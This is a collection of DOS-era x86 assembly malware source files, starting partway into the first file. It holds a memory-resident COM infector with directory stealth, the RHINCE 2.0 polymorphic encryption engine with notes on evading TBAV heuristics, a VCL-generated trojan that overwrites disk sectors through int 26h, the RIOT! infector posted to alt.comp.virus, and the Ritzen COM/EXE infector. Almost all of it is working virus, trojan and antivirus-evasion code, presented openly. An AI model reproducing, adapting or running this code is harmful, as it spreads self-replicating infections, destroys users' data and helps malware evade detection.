mov ah,4ah ;used memory
int 21h ;put the new value to MCB
;---------------------------------------------------------------
mov bx,(offset fin - offset start + 15)/16 + 16 + offset fin
mov ah,48h ;
int 21h ;request the memory to fuck DOS!
;---------------------------------------------------------------
dec ax ;ax=new segment
mov es,ax ;ax-1= new segment MCB
mov byte ptr es:[1],8 ;put '8' in the segment
;--------------------------------------------------------------
inc ax ;
mov es,ax ;es = new segment
lea si,[bp + offset start] ;si = start of virus
mov di,100h ;di = 100H (psp position)
mov cx,offset fin - start ;cx = lag of virus
push cs ;
pop ds ;ds = cs
cld ;mov the code
rep movsb ;ds:si >> es:di
;--------------------------------------------------------------
mov dx,offset virus ;dx = new int21 handler
mov ax,2521h ;
push es ;
pop ds ;
int 21h ;set the vectors
;-------------------------------------------------------------
pum2: ;
;
mov ah,byte ptr [cs:bp + real] ;restore the 3
mov byte ptr cs:[100h],ah ;first bytes
mov ax,word ptr [cs:bp + real + 1] ;
mov word ptr cs:[101h],ax ;
;-------------------------------------------------------------
mov ax,100h ;
jmp ax ;jmp to execute
;
;*****************************************************************
;* HANDLER FOR THE INT 21H
;*****************************************************************
;
VIRUS: ;
;
cmp ah,4bh ;is a 4b function?
je REPRODUCCION ;yes! jump to reproduce !
cmp ah,11h
je dir
cmp ah,12h
je dir
dirsal:
cmp AX,0CACAH ;is ... a caca function? (resident chek)
jne a3 ;no! jump to a3
mov bh,0cah ;yes! put ca in bh
a3: ;
JMP dword ptr CS:[INT21] ;jmp to original int 21h
ret ;
make db '[NuKE] N.R.L.G. AZRAEL'
dir:
jmp dir_s
;-------------------------------------------------------------
REPRODUCCION: ;
;
pushf ;put the register
pusha ;in the stack
push si ;
push di ;
push bp ;
push es ;
push ds ;
;-------------------------------------------------------------
push cs ;
pop ds ;
mov ax,3524H ;get the dos error control
int 21h ;interupt
mov word ptr error,es ;and put in cs:error
mov word ptr error+2,bx ;
mov ax,2524H ;change the dos error control
mov dx,offset all ;for my "trap mask"
int 21h ;
;-------------------------------------------------------------
pop ds ;
pop es ;restore the registers
pop bp ;
pop di ;
pop si ;
popa ;
popf ;
;-------------------------------------------------------------
pushf ;put the registers
pusha ;
push si ;HEY! AZRAEL IS CRAZY?
push di ;PUSH, POP, PUSH, POP
push bp ;PLEEEEEAAAAAASEEEEEEEEE
push es ;PURIFY THIS SHIT!
push ds ;
;-------------------------------------------------------------
mov ax,4300h ;
int 21h ;get the file
mov word ptr cs:[attrib],cx ;atributes
;-------------------------------------------------------------
mov ax,4301h ;le saco los atributos al
xor cx,cx ;file
int 21h ;
;-------------------------------------------------------------
mov ax,3d02h ;open the file
int 21h ;for read/write
mov bx,ax ;bx=handle
;-------------------------------------------------------------
mov ax,5700h ;
int 21h ;get the file date
mov word ptr cs:[hora],cx ;put the hour
mov word ptr cs:[dia],dx ;put the day
and cx,word ptr cs:[fecha] ;calculate the seconds
cmp cx,word ptr cs:[fecha] ;is ecual to 58? (DEDICATE TO N-POX)
jne seguir ;yes! the file is infected!
jmp cerrar ;
;------------------------------------------------------------
seguir: ;
mov ax,4202h ;move the pointer to end
call movedor ;of the file
;------------------------------------------------------------
push cs ;
pop ds ;
sub ax,3 ;calculate the
mov word ptr [cs:largo],ax ;jmp long
;-------------------------------------------------------------
mov ax,04200h ;move the pointer to
call movedor ;start of file
;----------------------------------------------------------
push cs ;
pop ds ;read the 3 first bytes
mov ah,3fh ;
mov cx,3 ;
lea dx,[cs:real] ;put the bytes in cs:[real]
int 21h ;
;----------------------------------------------------------
cmp word ptr cs:[real],05a4dh ;the 2 first bytes = 'MZ' ?
jne er1 ;yes! is a EXE... fuckkk!
;----------------------------------------------------------
jmp cerrar
er1:
;----------------------------------------------------------
mov ax,4200h ;move the pointer
call movedor ;to start fo file
;----------------------------------------------------------
push cs ;
pop ds ;
mov ah,40h ;
mov cx,1 ;write the JMP
lea dx,[cs:jump] ;instruccion in the
int 21h ;fist byte of the file
;----------------------------------------------------------
mov ah,40h ;write the value of jmp
mov cx,2 ;in the file
lea dx,[cs:largo] ;
int 21h ;
;----------------------------------------------------------
mov ax,04202h ;move the pointer to
call movedor ;end of file
;----------------------------------------------------------
push cs ;
pop ds ;move the code
push cs ;of my virus
pop es ;to cs:end+50
cld ;for encrypt
mov si,100h ;
mov di,offset fin + 50 ;
mov cx,offset fin - 100h ;
rep movsb ;
;----------------------------------------------------------
mov cx,offset fin
mov di,offset fin + 50 + (offset crypt2 - offset start) ;virus
enc: ;
xor byte ptr cs:[di],1 ;encrypt the virus
inc di ;code
loop enc ;
;---------------------------------------------------------
mov cx,offset fin
mov di,offset fin + 50 + (offset crypt - offset start) ;virus
mov dx,1
enc2: ;
ÿsub byte ptr [di],05fh
add byte ptr [di],01fh
sub word ptr [di],0e6e9h
dec byte ptr [di]
dec word ptr [di]
ÿinc di
inc di ;the virus code
loop enc2 ;
;--------------------------------------------
mov ah,40h ;
mov cx,offset fin - offset start ;copy the virus
mov dx,offset fin + 50 ;to end of file
int 21h ;
;----------------------------------------------------------
cerrar: ;
;restore the
mov ax,5701h ;date and time
mov cx,word ptr cs:[hora] ;file
mov dx,word ptr cs:[dia] ;
or cx,word ptr cs:[fecha] ;and mark the seconds
int 21h ;
;----------------------------------------------------------
mov ah,3eh ;
int 21h ;close the file
;----------------------------------------------------------
pop ds ;
pop es ;restore the
pop bp ;registers
pop di ;
pop si ;
popa ;
popf ;
;----------------------------------------------------------
pusha ;
;
mov ax,4301h ;restores the atributes
mov cx,word ptr cs:[attrib] ;of the file
int 21h ;
;
popa ;
;----------------------------------------------------------
pushf ;
pusha ; 8-( = f-prot
push si ;
push di ; 8-( = tbav
push bp ;
push es ; 8-) = I'm
push ds ;
;----------------------------------------------------------
mov ax,2524H ;
lea bx,error ;restore the
mov ds,bx ;errors handler
lea bx,error+2 ;
int 21h ;
;----------------------------------------------------------
pop ds ;
pop es ;
pop bp ;restore the
pop di ;resgisters
pop si ;
popa ;
popf ;
;----------------------------------------------------------
JMP A3 ;jmp to orig. INT 21
;
;**********************************************************
; SUBRUTINES AREA
;**********************************************************
;
movedor: ;
;
xor cx,cx ;use to move file pointer
xor dx,dx ;
int 21h ;
ret ;
;----------------------------------------------------------
all: ;
;
XOR AL,AL ;use to set
iret ;error flag
;***********************************************************
; DATA AREA
;***********************************************************
largo dw ?
jump db 0e9h
real db 0cdh,20h,0
hora dw ?
dia dw ?
attrib dw ?
int21 dd ?
error dd ?
ÿ;---------------------------------
action: ;Call label
MOV AH,2AH ;
INT 21H ;get date
CMP Dl,byte ptr cs:[action_dia+bp] ;is equal to my day?
JE cont ;nop! fuck ret
cmp byte ptr cs:[action_dia+bp],32 ;
jne no_day ;
cont: ;
cmp dh,byte ptr cs:[action_mes+bp] ;is equal to my month?
je set ;
cmp byte ptr cs:[action_mes+bp],13 ;
jne NO_DAY ;nop! fuck ret
set: ;
mov AH,9 ;yeah!!
MOV DX,OFFSET PAO ;print my text!
INT 21H ;now!
INT 20H ;an finsh te program
NO_DAY: ;label to incorrect date
ret ;return from call
;---------------------------------
ÿ
PAO:
DB 10,13,'YOU ARE INFECTED WITH A VIRUS!!! "RETURN FIRE!" ver 2.8 "F-prot cannot survive!!"','$'
;*****************************************************
dir_s:
pushf
push cs
call a3 ;Get file Stats
test al,al ;Good FCB?
jnz no_good ;nope
push ax
push bx
push es
mov ah,51h ;Is this Undocmented? huh...
int 21h
mov es,bx
cmp bx,es:[16h]
jnz not_infected
mov bx,dx
mov al,[bx]
push ax
mov ah,2fh ;Get file DTA
int 21h
pop ax
inc al
jnz fcb_okay
add bx,7h
fcb_okay: mov ax,es:[bx+17h]
and ax,1fh ;UnMask Seconds Field
xor al,byte ptr cs:fechad
jnz not_infected
and byte ptr es:[bx+17h],0e0h
sub es:[bx+1dh],OFFSET FIN - OFFSET START ;Yes minus virus size
sbb es:[bx+1fh],ax
not_infected:pop es
pop bx
pop ax
no_good: iret
;********************************************************************
; THIS DIR STEALTH METOD IS EXTRAC FROM NUKEK INFO JOURNAL 4 & N-POX
;*********************************************************************
ÿaction_dia Db 07H ;day for the action
action_mes Db 04H ;month for the action
FECHA DW 01eH ;Secon for mark
FECHAd Db 01eH ;Secon for mark dir st
fin:
code ends
end start

@ -0,0 +1,315 @@
; RHINCE 2.0, by Rhincewind [Vlad]
;
; This is the accompanying textfile for RHINCE v2.0, where RHINCE stands for
; "Rickety and Hardly Insidious yet New Chaos Engine". There's been quite
; a lot of feedback on the original release, both positive and negative. The
; negative reviews mainly dealt with the engine being so obscenely
; ineffective. To you I say, you missed the point: RHINCE was and is an
; experiment in writing small polymorphic engines using tables.
;
; I rewrote RHINCE because I came up with a method that I hoped would make
; it much, much shorter, say, under 300 bytes. Not so I'm afraid, the pure
; v1.0 rewrite amounted to 367 bytes.
;
; This version doesn't use encoding routines that use tables. No, it uses
; one encoding routine and a set of tables. In almost every engine, the
; routines all have a certain structure in common and yet they're never quite
; the same so optimisation by using subroutines is difficult. This is an
; easier approach:
;
; Encoding takes place byte for byte, and a tablestring is used to describe
; it's specifics. First byte in the string is the commandbyte:
;
; bit 4 quote next byte.
; bit 3 get random choice. next byte is the number of choices,
; followed by the choices themselves.
; bit 2 next byte is a mask indicating which bits to randomise.
; bit 1 next byte is a mask for ANDing, the byte thereafter
; is an illegal choice for the masked byte.
; bit 0 next byte is a byte displacement used to jump to.
; (for table optimisation)
;
; The commandbyte is followed by the arguments for the bit 4 command if it
; was set, then the arguments for bit 3 if it was set, et cetera. It's all
; in the code.
;
; So the original rewrite was finished but the engine's performance was still
; approximately zero. Tweaking done:
;
; ** DAA DAS AAA AAS opcodes removed. flagged by TBAV (@)
; ** $+2 flowcontrol removed. flagged by TBAV (G)
; JO/JNO branching flagged by TBAV (@)
; ** Forced first opcode to not be an flagged by TBAV (G)
; opcode needing previous register
; contents
; ** No longer builds decryptor inside flagged by TBAV (#)
; code, but rather on the heap.
;
; RHINCE v2.0 is almost TBAV heuristics proof. A negligible amount of
; samples still gets G flags on pointer references in the first 32 bytes.
; Then there is the occasional E, U, t or D flag probably caused
; by Thunderbyte interpreting the random byte and word values as code,
; i.e. signature scanning.
;
; Thunderbyte's heuristics are really interesting. The G flag for operations
; with uninitialised registers can only be triggered by the first 32 bytes
; of code (or so). The $+2 flowcontrol check is active throughout the
; program but the check for self-modifying code (which is how it detected
; v1.0) is only active in the first 512 bytes.
;
; Call Parameters: CX length of code to encrypt
; DS:DX pointer to code to encrypt
; BP offset code will be run at.
; Return Parameters: CX length of decryptor+encrypted code.
; DS:DX pointer to decryptor.
;
; Caution:Engine assumes CS=DS=ES. Also as said above, RHINCE v2.0 builds
; a decryptor on the heap. Please ensure that the heapspace is there!
; In COM infection mind the maximum filelength you can infect. In
; EXE infection you should check, and alter if necessary, the
; MINALLOC header field. If alteration of MINALLOC was necessary,
; see if MAXALLOC>MINALLOC. If not set MAXALLOC==MINALLOC.
;
; RHINCE v2.0: 377 bytes undiluted polymorphic generation code.
; - Rhince.
.model tiny
.code
org 100h
;Below is a small demogenerator. Assemble & run this file as is to generate
;an encrypted HELLO.COM file, cut/paste the engine code otherwise.
start:
mov ah,3ch
xor cx,cx
mov dx, offset file
int 21h
push ax
mov dx, offset prog
mov cx, (endprog-prog)
mov bp, 100h
call mut_eng
pop bx
mov ah, 40h
int 21h
mov ah, 3eh
int 21h
mov ah,9
mov dx, offset msg
int 21h
int 20h
file db 'hello.com',0
msg db 'Run HELLO.COM to decrypt and print a sacred VLAD scripture$'
prog: mov ah,9
call $+3
delta: pop dx
add dx, (str-delta)
int 21h
int 20h
str db 'At the word of the dark judges, that word which '
db 'tortures the spirit,',0dh,0ah
db 'Kantza-Merada, even the goddess, was turned to a '
db 'dead body,',0dh,0ah
db 'Defiled, polluted, a corpse hangin'' from a stake.'
db 0dh,0ah,0dh,0ah
db 'Most strangely, Kantza-Merada, are the laws of the '
db 'dark world effected.',0dh,0ah
db 'O Kantza-Merada, do not question the laws of the '
db 'nether world.',0dh,0ah,0dh,0ah
db 'The goddess from the great above descended to the '
db 'great below.',0dh,0ah
db 'To the nether world of darkness she descended.',0dh,0ah
db 'The goddess abandoned heaven, abandoned earth,',0dh,0ah
db 'Abandoned dominion, abandoned ladyship,',0dh,0ah
db 'To the nether world of darkness she descended.$'
endprog:
;------ Engine starts here.
mut_eng: mov di, offset resulting_code
inc cx
shr cx,1
mov word ptr [di-(resulting_code-cntr)],cx
call get_rand
mov ah,al
call get_rand
mov word ptr [di-(resulting_code-seed)],ax
push bp
push dx
call get_rand
and ax, 1
call do_garbage_manual
mov cx, 9
genloop: push cx
call get_rand
and ax,0fh
inc ax
xchg ax,cx
gloop: push cx
call do_garbage
pop cx
loop gloop
mov ax, 0c72eh
stosw
mov al, 06
stosb
pop cx
mov bx,cx
add bx,bx
mov word ptr ds:[workspace-2+bx],di
stosw
stosw
loop genloop
pop si
pop bp
mov al, 0e9h
stosb
mov cx, word ptr cntr
mov ax,cx
add ax,cx
stosw
add ax, (endframe-framework)
neg ax
mov jmpback, ax
lea bx, [di+bp+(-(offset resulting_code))]
mov word ptr ptr, bx
cryptloop:
lodsw
xor ax, word ptr seed
stosw
loop cryptloop
mov dx,di
push di
mov si, offset framework
mov bx, offset resulting_code
push bx
sub bp,bx
mov cx,9
fill_loop: dec bx
dec bx
mov di, word ptr [bx]
lea ax, [bp+si+(-(offset framework))]
add ax,dx
stosw
movsw
loop fill_loop
pop dx
pop cx
sub cx,dx
ret
get_rand: in al,40h
rol al,1 ;RNG v2.0
xor al, 0ffh
org $-1
Randomize db ?
mov randomize,al
ret
do_garbage: call get_rand
and ax, 0fh
do_garbage_manual:
mov bx,ax
mov bl, byte ptr [calltable+bx]
xor bh,bh
lea bp, [bx+poly]
interpret_string:
mov si,bp
cwd
lodsb
mov dh,al
test dh,16
jz dont_quote
lodsb
mov dl,al
dont_quote: test dh,8
jz dont_select
lodsb
cbw
xchg ax,cx
call get_rand
xor ah,ah
div cl
xchg al,ah
cbw
xchg ax,bx
mov dl, byte ptr ds:[si+bx]
add si,cx
dont_select: test dh,4
jz no_random_masking
call get_rand
and al, byte ptr ds:[si]
or dl,al
inc si
no_random_masking:
test dh,2
jz no_illegal
lodsb
and al,dl
inc si
cmp al, byte ptr ds:[si-1]
jz interpret_string
no_illegal: mov bp,si
mov al,dl
stosb
test dh,1
jz no_jmp
lodsb
cbw
add bp,ax
no_jmp: cmp byte ptr ds:[bp],0
jnz interpret_string
ret
calltable: db rnd_mov_8 - poly
db rnd_mov_16 - poly
db onebyte - poly
db incs - poly
db incs - poly
db arithmetic_8 - poly
db arithmetic_16 - poly
db big_class_0_40 - poly
db onebyte - poly
db big_class_40_80 - poly
db big_class_80_c0 - poly
db big_class_c0_100 - poly
db rnd_mov_8 - poly
db rnd_mov_16 - poly
db rnd_mov_8 - poly
db rnd_mov_16 - poly
endcalltable:
poly:
big_class_0_40: db 00010100b,00000010b,00111001b,00000110b,00011111b
db 00000111b,6,00
big_class_40_80:db 00010100b,00100010b,00011001b,00010111b,01000000b
db 00011111b,00000111b,6,rndbyte-$
big_class_80_c0:db 00010100b,00100010b,00011001b,00010111b,10000000b
db 00011111b,00000111b,6,rndword-$
big_class_c0_100:
db 00010100b,00100010b,00011001b,00010110b,11000000b
db 00011111b,00000111b,6,00
flow_control: db 00010100b,72h,7,00010000b,0,0
arithmetic_8: db 00010101b,00000100b,00111000b,rndbyte-$
arithmetic_16: db 00010101b,00000101b,00111000b,rndword-$
rnd_mov_8: db 00010101b,0b0h,7,rndbyte-$
rnd_mov_16: db 00010110b,0b8h,07,07,04
rndword: db 00000100b,0ffh
rndbyte: db 00000100b,0ffh,0
incs: db 00010110b,40h,0fh,7,4,0
onebyte: db 00001000b,(end_onebyters-onebyters)
onebyters: db 0fdh,0fch,0fbh,0f9h,0f8h,0f5h,0d7h,9fh,9eh,99h,98h
db 91h,92h,93h,95h,96h,97h
end_onebyters: db 0
framework: cld
mov si, 1234h
ptr equ $-2
mov cx, 1234h
cntr equ $-2
frameloop: xor word ptr cs:[si], 1234h
seed equ $-2
lodsw
loop frameloop
db 0e9h
jmpback dw ?
endframe:
workspace db endframe-framework dup (?)
resulting_code:
end start

@ -0,0 +1,83 @@
; RICHARDS.ASM -- R. Simmons Trojan
; Created with Nowhere Man's Virus Creation Laboratory v1.00
; Written by Nowhere Man
virus_type equ 3 ; Trojan Horse
is_encrypted equ 1 ; We're encrypted
tsr_virus equ 0 ; We're not TSR
code segment byte public
assume cs:code,ds:code,es:code,ss:code
org 0100h
start label near
main proc near
call encrypt_decrypt ; Decrypt the virus
start_of_code label near
stop_tracing: mov cx,09EBh
mov ax,0FE05h ; Acutal move, plus a HaLT
jmp $-2
add ah,03Bh ; AH now equals 025h
jmp $-10 ; Execute the HaLT
mov bx,offset null_vector ; BX points to new routine
push cs ; Transfer CS into ES
pop es ; using a PUSH/POP
int 021h
mov al,1 ; Disable interrupt 1, too
int 021h
jmp short skip_null ; Hop over the loop
null_vector: jmp $ ; An infinite loop
skip_null: mov byte ptr [lock_keys + 1],130 ; Prefetch unchanged
lock_keys: mov al,128 ; Change here screws DEBUG
out 021h,al ; If tracing then lock keyboard
mov si,offset data00 ; SI points to data
mov ah,0Eh ; BIOS display char. function
display_loop: lodsb ; Load the next char. into AL
or al,al ; Is the character a null?
je disp_strnend ; If it is, exit
int 010h ; BIOS video interrupt
jmp short display_loop ; Do the next character
disp_strnend:
mov ax,0002h ; First argument is 2
mov cx,0010h ; Second argument is 16
cli ; Disable interrupts (no Ctrl-C)
cwd ; Clear DX (start with sector 0)
int 026h ; DOS absolute write interrupt
sti ; Restore interrupts
mov ax,04C00h ; DOS terminate function
int 021h
main endp
data00 db "C'mon now, trim that FAT! 1 and 2 and 3 and....",13,10,10,0
vcl_marker db "[VCL]",0 ; VCL creation marker
note db "The Richard Simmons Trojan; gu"
db "aranteed to get rid of that un"
db "sightly FAT in no time!",0
db "[Richard Simmons Trojan]",0
db "Nowhere Man, [NuKE] '92",0
end_of_code label near
encrypt_decrypt proc near
mov si,offset start_of_code ; SI points to code to decrypt
mov cx,(end_of_code - start_of_code) / 2 ; CX holds length
xor_loop: xor word ptr [si],06734h ; XOR a word by the key
inc si ; Do the next word
inc si ;
loop xor_loop ; Loop until we're through
ret ; Return to caller
encrypt_decrypt endp
finish label near
code ends
end main

@ -0,0 +1,186 @@
From netcom.com!ix.netcom.com!netnews Sat Nov 12 17:11:15 1994
Xref: netcom.com alt.comp.virus:200
Path: netcom.com!ix.netcom.com!netnews
From: Zeppelin@ix.netcom.com (Mr. G)
Newsgroups: alt.comp.virus
Subject: Re:Riot
Date: 12 Nov 1994 03:37:30 GMT
Organization: Netcom
Lines: 171
Distribution: world
Message-ID: <3a1d9q$ma6@ixnews1.ix.netcom.com>
References: <3a0s7b$r6i$1@mhadf.production.compuserve.com> <3a1aj7$l5e@ixnews1.ix.netcom.com> <3a1cri$m31@ixnews1.ix.netcom.com>
NNTP-Posting-Host: ix-ir4-21.ix.netcom.com
; RIOT! - Revolution In Our Time
model tiny
code
org 100h
start:
; push ax ; Original push "ax",
PUSH DX ; But push dx instead,
; and S&S FindViru can't
; find it as NINA-256 :)
mov ax,9753h ; installation check
int 21h
mov ax,ds
dec ax
mov ds,ax ; ds->program MCB
mov ax,ds:[3] ; get size word
push bx
push es
sub ax,40h ; reserve 40h paragraphs
mov bx,ax
mov ah,4Ah ; Shrink memory
allocation
int 21h
mov ah,48h ; Allocate 3Fh
paragraphs
mov bx,3Fh ; for the virus
int 21h
mov es,ax ; copy virus to high
xor di,di ; memory
mov si,offset start + 10h ; start at MCB:110h
mov cx,100h ; (same as PSP:100h)
rep movsb
sub ax,10h ; adjust offset as if it
push ax ; originated at 100h
mov ax,offset highentry
push ax
retf
highentry:
mov byte ptr cs:[0F2h],0AAh ; change MCB's owner so
the
; memory isn't freed
when the
; program terminates
mov ax,3521h ; get int 21h vector
int 21h
mov word ptr cs:oldint21,bx ; save it
mov word ptr cs:oldint21+2,es
push es
pop ds
mov dx,bx
mov ax,2591h ; redirect int 91h to
int 21h
int 21h
push cs
pop ds
mov dx,offset int21
mov al,21h ; set int 21h to virus
vector
int 21h
pop ds ; ds->original program
PSP
pop bx
push ds
pop es
ENDFILE dw 100h ; Size of infected COM
file
return_COM:
mov di,100h ; restore original
mov si,endfile ; file
add si,di ; adjust for COM
starting
mov cx,100h ; offset
rep movsb
pop ax
push ds ; jmp back to original
mov bp,100h ; file (PSP:100)
push bp
retf
exit_install:
pop ax ; pop CS:IP and flags in
pop ax ; order to balance the
pop ax ; stack and then exit
the
jmp short return_COM ; infected COM file
int21:
cmp ax,9753h ; installation check?
je exit_install
cmp ax,4B00h ; execute?
jne exitint21 ; nope, quit
push ax ; save registers
push bx
push cx
push dx
push ds
call infect
pop ds ; restore registers
pop dx
pop cx
pop bx
pop ax
exitint21:
db 0eah ; jmp far ptr
oldint21 dd ?
infect:
mov ax,3D02h ; open file read/write
int 91h
jc exit_infect
mov bx,ax
mov cx,100h
push cs
pop ds
mov ah,3Fh ; Read first 100h bytes
mov dx,offset endvirus
int 91h
mov ax,word ptr endvirus
cmp ax,'MZ' ; exit if EXE
je close_exit_infect
cmp ax,'ZM' ; exit if EXE
je close_exit_infect
cmp word ptr endvirus+2,9753h ; exit if already
je close_exit_infect ; infected
mov al,2 ; go to end of file
call move_file_pointer
cmp ax,0FEB0h ; exit if too large
ja close_exit_infect
cmp ax,1F4h ; or too small for
jb close_exit_infect ; infection
mov endfile,ax ; save file size
call write
mov al,0 ; go to start of file
call move_file_pointer
mov dx,100h ; write virus
call write
close_exit_infect:
mov ah,3Eh ; Close file
int 91h
exit_infect:
retn
move_file_pointer:
push dx
xor cx,cx
xor dx,dx
mov ah,42h
int 91h
pop dx
retn
write:
mov ah,40h
mov cx,100h
int 91h
retn
db ' RIOT!' ; Revolution In Our Time!
endvirus:
int 20h ; original COM file
end start

@ -0,0 +1,495 @@
;*****************************************************************************
;* *
;* The Ritzen Virus *
;* *
;* (c) '93, by S.A.R. (Students Agains Ritzen) / TridenT *
;* *
;*****************************************************************************
.model tiny
.radix 16
.code
len equ offset last - atlantic
len_para equ len /10h
mem_size equ 60h
org 100h
dummy: db 0e9h,00h,00h ; dummy file,
; contains jump to
; virus code.
atlantic: call get_ip
sub bp,offset atlantic+3
rest_host: push ds
pop ax
mov cs:[segm+bp],ax
cmp cs:[type_host+bp],'E' ; check if host
je fix_exe ; is COM or EXE.
fix_com: lea si,cs:[com_start+bp] ; fix start of
mov ax,es
inc ax
mov es,ax
mov di,00F0h ; com host with
mov cx,03h ; original data.
rep movsb
mov ax,es
dec ax
mov es,ax
mov ax,0100h ; IP start at 0100h.
push cs ; store segment+IP
push ax ; on stack.
jmp chk_resident
fix_exe: mov ax,cs:[exe_cs+bp] ; CS and IP on stack
mov bx,ax
mov ax,ds
add ax,bx
add ax,10h
push ax
mov bx,cs:[exe_ip+bp]
push bx
chk_resident: mov dx,0aaaah
mov ax,3000h
int 21h
cmp dx,0bbbbh
je end_install
mem_install: push ds ; let DS points
push ds
pop ax ; to MCB
dec ax ; 2 times to fool
dec ax ; heuristic scanners
push ax
pop ds
cmp byte ptr ds:[0010],5ah ; last MCB?
jne abort_install ; if no, quit.
mov ax,ds:[0013] ; adjust memory
sub ax,mem_size ; size.
mov ds:[0013],ax ; store size in MCB.
pop ds ; restore original
; DS segment.
sub word ptr ds:[0002],mem_size ; don't forget to
; adjust memory
; size stored in
; PSP to.
vir_install: xchg ax,bx ; install virus
mov ax,es
add ax,bx ; AX = virussegment
mov es,ax
mov cs:[vir_seg+bp],ax
push cs
pop ds
lea si,[atlantic+bp] ; copy virus to
lea di,es:0103h ; memory
mov cx,len
copy: movsb
dec cx
jnz copy
push ds
pop es
hook_i21h: cli
mov ax,3521h
int 21h
mov ds,cs:[vir_seg+bp]
mov [i21h],bx
mov [i21h+2],es
; mov dx, offset ds:[mine_i21h]
; mov ax,2521h
; int 21h
mov ax,ds
mov bx,ax
mov dx, offset ds:[mine_i21h]
xor ax,ax
mov ds,ax
mov ds:[4*21h],dx
mov ds:[4*21h+2],bx
sti
abort_install: mov ax,cs:[segm+bp]
push ax
pop es
push es
pop ds
end_install: retf
;*************************************************************************
;* *
;* I N T E R U P T H A N D L E R *
;* *
;*************************************************************************
mine_i24h: mov al,03h
iret
mine_i21h: pushf ; check for
cmp ax,3000h ; virus ID
jne new_21h
cmp dx,0aaaah
jne new_21h
mov dx,0bbbbh ; return ID
popf
iret
new_21h: push ax ; save registers
push bx
push cx
push dx
push ds
push es
push di
push si
chk_open: xchg ax,bx
cmp bh,3dh ; open file?
je chk_com
chk_exec: cmp bx,04b00h ; execute file?
je chk_com
continu: pop si ; restore registers
pop di
pop es
pop ds
pop dx
pop cx
pop bx
pop ax
next: popf ; call original
jmp dword ptr cs:[i21h] ; interupt
;**************************************************************************
;* *
;* C H E C K C O M / E X E F I L E *
;* *
;**************************************************************************
chk_com: mov cs:[name_seg],ds
mov cs:[name_off],dx
cld
mov cx,0ffh
push ds
pop es
push dx
pop di
mov al,'.'
repne scasb
cmp word ptr es:[di],'OC'
jne chk_exe
cmp word ptr es:[di+2],'M'
jne continu
jmp infect_com
chk_exe: cmp word ptr es:[di],'XE'
jne continu
cmp word ptr es:[di+2],'E'
jne continu
jmp infect_exe
;**************************************************************************
;* *
;* I N F E C T C O M - F I L E *
;* *
;**************************************************************************
infect_com: call init
cmp cs:[fout],0ffh
je close_file
mov cs:[type_host],'C'
mov ax,4200h ; go to start of file
call mov_point
mov cx,03h
mov ah,3fh
lea dx,cs:[com_start]
call do_int21h
mov ax,4200h
call mov_point
mov ax,4202h
call mov_point
sub ax,03h
mov cs:[lenght_file],ax
call write_jmp
call write_vir
call save_date
close_file: mov bx,cs:[handle]
mov ah,3eh
call do_int21h
restore_int24h: mov dx,cs:[i24h]
mov ds,cs:[i24h+2]
mov ax,2524h
call do_int21h
jmp continu
;**************************************************************************
;* *
;* I N F E C T E X E - F I L E *
;* *
;**************************************************************************
infect_exe: call init
cmp cs:[fout],0ffh
je close_file
mov cs:[type_host],'E'
mov ax,4200h
call mov_point
mov ah,3fh
mov cx,18h
lea dx,[head_exe]
call do_int21h
call inf_exe
call save_date
jmp close_file
;**************************************************************************
;* *
;* R O U T I N E S *
;* *
;**************************************************************************
get_ip: push sp ; get ip from stack
pop bx
mov ax, word ptr cs:[bx]
mov bp,ax
ret
init: mov cs:[fout],00h
call int24h
call open_file
jc error
call set_atributes
call get_date
call chk_infect
je error
ret
error: mov cs:[fout],0ffh
ret
int24h: push cs
pop ds
mov ax,3524h
call do_int21h
mov cs:[i24h],bx
mov cs:[i24h+2],es
mov dx, offset mine_i24h
mov ax,2524h
call do_int21h
ret
mov_point: push cs
pop ds
mov bx,cs:[handle]
xor cx,cx
xor dx,dx
call do_int21h
ret
open_file: mov ds,cs:[name_seg]
mov dx,cs:[name_off]
mov ax,3d02h
call do_int21h
mov cs:[handle],ax
mov bx,ax
ret
set_atributes: mov ax,4200h
mov ds,cs:[name_seg]
mov dx,cs:[name_off]
call do_int21h
and cl,0feh
mov ax,4301h
call do_int21h
ret
get_date: mov bx,cs:[handle]
mov ax,5700h
call do_int21h
mov cs:[date],dx
mov cs:[time],cx
ret
chk_infect: push cs
pop ds
mov ax,4202h
xor cx,cx
sub cx,01h
xor dx,dx
sub dx,02h
mov bx,cs:[handle]
call do_int21h
mov ah,3fh
mov cx,02h
lea dx,cs:[file_id]
call do_int21h
mov al, byte ptr cs:[file_id]
mov ah, byte ptr cs:[file_id]+1
cmp ax,[virus_id]
ret
write_jmp: push cs
pop ds
mov ax,4200h
call mov_point
mov ah,40h
mov cx,01h
lea dx,cs:[jump]
call do_int21h
mov ah,40h
mov cx,02h
lea dx,cs:[lenght_file]
call do_int21h
ret
write_vir: push cs
pop ds
mov ax,4202h
call mov_point
mov ah,40h
mov cx,len
mov dx,103h
call do_int21h
ret
save_date: mov ax,5700h
call do_int21h
mov cs:[date],dx
mov cs:[time],cx
ret
inf_exe: mov ax,word ptr cs:[head_exe+14h]
mov cs:[exe_ip],ax
mov ax, word ptr cs:[head_exe+16h]
mov cs:[exe_cs],ax
mov ax,4200h
call mov_point
mov ax,4202h
call mov_point
mov bx,10h
div bx
sub ax, word ptr cs:[head_exe+08h]
mov cs:[new_cs],ax
mov cs:[new_ip],dx
call write_vir
mov ax,4200h
call mov_point
mov ax,4202h
call mov_point
mov bx,0200h
div bx
cmp dx,0000h
jne not_zero
jmp zero
not_zero: inc ax
zero: mov word ptr cs:[head_exe+02h],dx
mov word ptr cs:[head_exe+04h],ax
mov ax,cs:[new_ip]
mov word ptr cs:[head_exe+14h],ax
mov ax,cs:[new_cs]
mov word ptr cs:[head_exe+16h],ax
mov word ptr cs:[head_exe+0Eh],ax
add word ptr cs:[head_exe+10],len_para
; mov word ptr cs:[head_exe+10],1000
mov ax,4200h
call mov_point
mov ah,40h
mov bx,cs:[handle]
mov cx,18h
lea dx,cs:[head_exe]
call do_int21h
ret
do_int21h: pushf
call dword ptr cs:[i21h]
ret
;****************************************************************************
;* *
;* D A T A *
;* *
;****************************************************************************
type_host db 'C'
com_start db 0cdh,20h,90h
message db " Dedicated to Ritzen, our Minister of Education and Science."
db " We are getting sick of your budget cuts so we hope that"
db " you get sick of this virus.."
db " (c) '93 by S.A.R. / TridenT ."
exe_cs dw ?
exe_ip dw ?
new_cs dw ?
new_ip dw ?
vir_seg dw ?
i21h dw 00h,00h
i24h dw 00h,00h
name_seg dw ?
name_off dw ?
lenght_file dw ?
head_exe db 18 dup (?)
handle dw ?
fout db ?
file_id dw ?
jump db 0e9h
date dw ?
time dw ?
segm dw ?
virus_id dw "AP"
last dw "AP"
end dummy

